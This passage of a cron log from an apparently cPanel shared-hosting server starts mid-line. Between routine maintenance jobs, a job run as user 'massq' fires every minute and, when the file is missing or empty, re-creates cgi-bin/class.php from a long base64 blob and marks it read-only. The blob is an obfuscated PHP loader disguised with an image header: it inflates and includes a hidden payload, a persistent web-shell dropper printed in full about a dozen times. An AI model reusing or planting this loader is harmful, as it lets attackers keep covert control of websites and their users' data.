qBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:17:01 server CROND[32513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:18:01 server CROND[475]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:18:01 server CROND[476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:18:01 server CROND[477]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:19:01 server CROND[966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:19:01 server CROND[967]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:19:01 server CROND[968]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:20:01 server CROND[1452]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 00:20:01 server CROND[1454]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 00:20:01 server CROND[1457]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 00:20:01 server CROND[1456]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 00:20:01 server CROND[1459]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:20:01 server CROND[1458]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:20:01 server CROND[1462]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 00:20:01 server CROND[1461]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 00:20:01 server CROND[1455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:21:01 server CROND[2352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:21:01 server CROND[2353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:21:01 server CROND[2354]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:22:01 server CROND[2757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:22:01 server CROND[2758]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:22:01 server CROND[2759]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:23:01 server CROND[3139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:23:01 server CROND[3140]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:23:01 server CROND[3141]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:24:01 server CROND[3600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:24:01 server CROND[3601]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:24:01 server CROND[3602]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:25:01 server CROND[3990]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 00:25:01 server CROND[3992]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 00:25:01 server CROND[3993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:25:01 server CROND[3998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:25:01 server CROND[4000]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 00:25:01 server CROND[3999]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 00:25:01 server CROND[3996]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  8 00:25:01 server CROND[3997]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:26:01 server CROND[4838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:26:01 server CROND[4839]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:26:01 server CROND[4841]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:27:01 server CROND[5203]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:27:01 server CROND[5204]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 00:27:01 server CROND[5206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:27:01 server CROND[5205]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:28:01 server CROND[5570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:28:01 server CROND[5571]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:28:01 server CROND[5572]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:29:01 server CROND[5938]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:29:01 server CROND[5939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:29:01 server CROND[5940]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
